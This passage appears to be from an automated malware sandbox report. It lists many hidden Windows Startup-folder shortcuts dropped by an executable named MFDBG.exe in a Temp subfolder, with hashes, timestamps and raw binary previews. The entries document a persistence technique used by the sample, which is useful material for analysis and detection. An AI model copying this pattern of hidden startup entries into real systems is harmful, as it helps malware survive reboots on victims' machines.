Preview:	L..................F...."...]W%.{....^.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....]\.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_26444fb8d2824fc999b1160d3c0d082a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935627267655535
Encrypted:	false
SSDEEP:	24:8ahBfO8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Qr0R6rMhpBoUBxdRd1nYyg
MD5:	8739862C440A9AD0D381299AF85EDB50
SHA1:	C56698E4E4E7389B3B6A79CFED1671CD6946FFEB
SHA-256:	C3213ED917EC64ED269E231E0885E782D396915AA566CA3251F25BF5608A8225
SHA-512:	34A551EA7323ACFFCDE438555B10E0B457A534941B6109C06A74345EDBD4FCCB2FEE365868CAB9B63E7AECCFB59308D5C302C6FCF4CEDDD2D3150A3D8F5B614D
Malicious:	false
Preview:	L..................F...."...]W%.{.....1.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....X..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_264a50f09e1d4cc6b9a847667822d723.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:41 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942512926052345
Encrypted:	false
SSDEEP:	24:80hBfev8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:82N0R6rMhpBoUBxdRd1nYyg
MD5:	12D274704364DA6DCF9A8965CC63083A
SHA1:	1E497B7D2B82EB28BC83ADB1C16AA069F5A8E357
SHA-256:	90DFF06F9A80B7FBD2E96E4CE715B26AF54B8484300356CB9E5AF38DC67400CE
SHA-512:	256321652BDFC3EBF38ED5C6CADFAE061CEDC8F679D8710D5F8542750D10CAB91D4E4160DF0CEC70EB24C8F42C7F09021C10325752B7FAFF59331ED08CC3BD78
Malicious:	false
Preview:	L..................F...."...]W%.{.../y[.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.../y[.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2652d3e630004d9cb9f2591915873513.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930552832157547
Encrypted:	false
SSDEEP:	24:8MChBfW8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8MoD0R6rMhpBoUBxdRd1nYyg
MD5:	73272C8CB3312AD00805E41ED28A2BC7
SHA1:	9E006717F2B6795DD1C4CDE2DFC1C8678678E69E
SHA-256:	D3719BD2266F1A09B91CCC53D88285E693D4AC5C77AC5ED012F7BD5E6CC4A791
SHA-512:	F2F4753FE37547777A61945CACB2C0E9715F6DE23F6FD2FDED7B9C37C9960BA26808C114B6AFA40D1B6912E58C72782DEFAEDBC7B58FFD1AB56330BFF85EFD03
Malicious:	false
Preview:	L..................F...."...]W%.{...A...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...C...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_266dc4634b4346f99283ba280a58b9e5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:43 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9410947406123125
Encrypted:	false
SSDEEP:	24:8mhBfsA8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8sE10R6rMhpBoUBxdRd1nYyg
MD5:	F9ABAA7066F8AD6A03130DBCDF898404
SHA1:	36254AF8146F202746B34D3212EEB455879437A3
SHA-256:	29FF884B7BA604828EBF1465D6053DB307E9D54BA5A52E10781F56707E80D772
SHA-512:	F42E0354315DC0C3A6BFB3BF3C9211863B2EE78674726D0B0BA40966889EB2853D538FC483A73157FFD38892DFD361F169D44E5CC781F1DB2BCA7D6A116ABE5B
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_26e8e0f7dfd64d628a4fe63b4623122f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:00 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931095654094093
Encrypted:	false
SSDEEP:	24:8nhBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:87s0R6rMhpBoUBxdRd1nYyg
MD5:	187E87687AE88BE2F5850C6BE9208631
SHA1:	6E78866C0AACFF7B7705ADBF42637F392D2A2AFB
SHA-256:	B748698263F721A89368DF6168195096199013DED569C9CB49894EC4CCA57496
SHA-512:	78EC6B68D6135519911E86359E4C9D4284AACDD1ADF3B81508B629D09ED3AD290DB14F84C70A3496C3B74A4BAEA2BC02BC97EBD7D9B1B72F1A14B9CBE3A5FFD3
Malicious:	false
Preview:	L..................F...."...]W%.{.... s.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_271ecb76bcc345718cee14064d2c4b5c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:27 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931113418623089
Encrypted:	false
SSDEEP:	24:8yhBfi8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:84n0R6rMhpBoUBxdRd1nYyg
MD5:	EA8DE658A6B8B12BB53BAED7DE42BD87
SHA1:	4EF9F2150E362D0C7278A1735026A4F5690C6CCA
SHA-256:	BD5659F13F0DBCE1E37B5F3A3D2C276F5C4304CF867A1B499BDB28B641AF6778
SHA-512:	3EC26A6ADD44C57EE704F9E22D085A23F2E24AC4CF08EA8BA1C3631631FC37074E9EE58D1660C481BAF624D2A4C984CB71019CA8F937039AD49256698C14DBE3
Malicious:	false
Preview:	L..................F...."...]W%.{...t.c.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...t.c.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_276b06d4e1c94b55ad64c3090343cbdf.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:54 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937101728298974
Encrypted:	false
SSDEEP:	24:8HhBfSr8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8bKI0R6rMhpBoUBxdRd1nYyg
MD5:	EA37F2CAAA95E1FC6A8BA9F814C3FD91
SHA1:	AEAACB4972F3BBE793867EAE1B218A396AFDAA40
SHA-256:	8AFE2473EE518C3536CE51FDB2DF4822DEF6D9E13D90FEF78F5C3150E0B46695
SHA-512:	35AFF115AE022E59E61E319CBA41EC28A320F1FA9E3962A22FD9147339513C00C66FECD69F08976774224B5C4D5A71325137F7D8FE68D562432F0CC4E46266D8
Malicious:	false
Preview:	L..................F...."...]W%.{...I..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....G).{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_27ad4a4b2d4a44d1abf1380498fdcdc7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:27 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9392957591321665
Encrypted:	false
SSDEEP:	24:8uhBf1D8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8kNQ0R6rMhpBoUBxdRd1nYyg
MD5:	6694E47C2B3DF33F572A7664D1FC7F56
SHA1:	2AA3592316AFD01A3230A0DC464B3A6F2DAF4DD4
SHA-256:	786C8AD4F1966A39CC659B0743F56813F14BCEA097D12F7EB8D4BFC8A9C4EA51
SHA-512:	E511E3741A39AA3EA16546CC6219E80E558C817AC14FCCFDE65CCA05D80A88D1D551877009AAA98DB627443ADEC49E5274FAC4E534AB74EDA2E449EBC4B3EB01
Malicious:	false
Preview:	L..................F...."...]W%.{.....K.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....4.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_27c19a4f3fad42ce9751c2b8e09e64ef.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:13 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.948143198762093
Encrypted:	false
SSDEEP:	24:8J8hBfGK8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8sun0R6rMhpBoUBxdRd1nYyg
MD5:	D6E6666679D79CE53DDF72EE562B2BAF
SHA1:	E3BB23419F6C4C23BF58EC93607FE5DF075E0B14
SHA-256:	529B4663CAE77571AB88E68EAA0989AD2A6CE1FEC2DB3760169C1316FED0B04F
SHA-512:	28EFD1A8640F330D729E637E300B62DF59742B06AD0672B03CC00C0191522E50029A601774DEEEB0E155DFE313AC8610CD71796C8F00A19F20CBAA0AF4E0E189
Malicious:	false
Preview:	L..................F...."...]W%.{.....+.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....E.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_27ed73e1a1b84af090ed410af0795e09.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:12 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.929309163587214
Encrypted:	false
SSDEEP:	24:8bhBfN8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8fC0R6rMhpBoUBxdRd1nYyg
MD5:	479FA9558835CAB65BD9BF0755C1A5A9
SHA1:	856F4736B2E887E2AE812EB4DD5A91E4756D2404
SHA-256:	012AF0857C5031797470900B59AF29C3653FAE4CDFB9111073F27F89FE1A92C8
SHA-512:	492E12B0BE3FC7958333D90A7C436C8958B130057A8B0704B4251D6A5A4C616FB5724CC946F9E5CF45480892413EF880A2E9AA9F5A363A24D7DD3F9AC3175BD4
Malicious:	false
Preview:	L..................F...."...]W%.{...r...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2806a214f0194783b2c5408920a5bf5c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936701523998154
Encrypted:	false
SSDEEP:	24:8COhBf38iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8CE00R6rMhpBoUBxdRd1nYyg
MD5:	618CCF4B1704BA674E3AB6DCAE2EE1CC
SHA1:	C76067DF1095EB3568A7737525D334CC964CC351
SHA-256:	4FDCEE1F0E19EE78EFF66327D9B0AD77F7218AC7331B5EF707FF7F73BB2377B8
SHA-512:	8B0200EC3F0C49A1CCF78D462449986E30798770D0C3D531C9F3D5F3AFAD40D5692D59B26CFB8231CDC65F5DC6CA450B98A4E9A8423EA65E4AC80F78768D1C0F
Malicious:	false
Preview:	L..................F...."...]W%.{.....!.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....1..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_28db9fd69cdf42a5830b2b87e24a8e7d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:28 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.945372056006387
Encrypted:	false
SSDEEP:	24:8GqphBfvl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:89p3C0R6rMhpBoUBxdRd1nYyg
MD5:	F3DC14F30DBEC81B8E2424313B66779A
SHA1:	FF4A4E12858C79C0A67246F18D3BCEDD61386542
SHA-256:	9F7F774F6B6384B0803BB29184EBC468866E0959D2AB06086105BC1DD0DCA1B6
SHA-512:	A90F8E1B7B9AFF0518A964C9D7C4C6EF737178D15E15D59200341B7A6AA5C8E9F8933D483AAE2FC4A1C9F294D805BB8B807384AAC9EC5AB18CC94CA607F4A71A
Malicious:	false
Preview:	L..................F...."...]W%.{...[...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_297cad131ff84a558671268ad5a96f9f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93478646324189
Encrypted:	false
SSDEEP:	24:84ShBfvl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8t3C0R6rMhpBoUBxdRd1nYyg
MD5:	5C9E3326DEA63D745F75FE291A98D43A
SHA1:	CDEC10C905E9BB163E5A73ECCDF165D21C802094
SHA-256:	537E8183B35D91FCCEE70C918D82F3FDB47CBD1149D8660515F3B14BFE8A53E2
SHA-512:	D174DE8F649FDB6DAB8F70BDC8B3713E68C2D428F65604435BFC8E383015DA19F6CF320D5E6A36CCD2ED58606DE9960C4A43E26E6B85303D66EC15A1DB9626A4
Malicious:	false
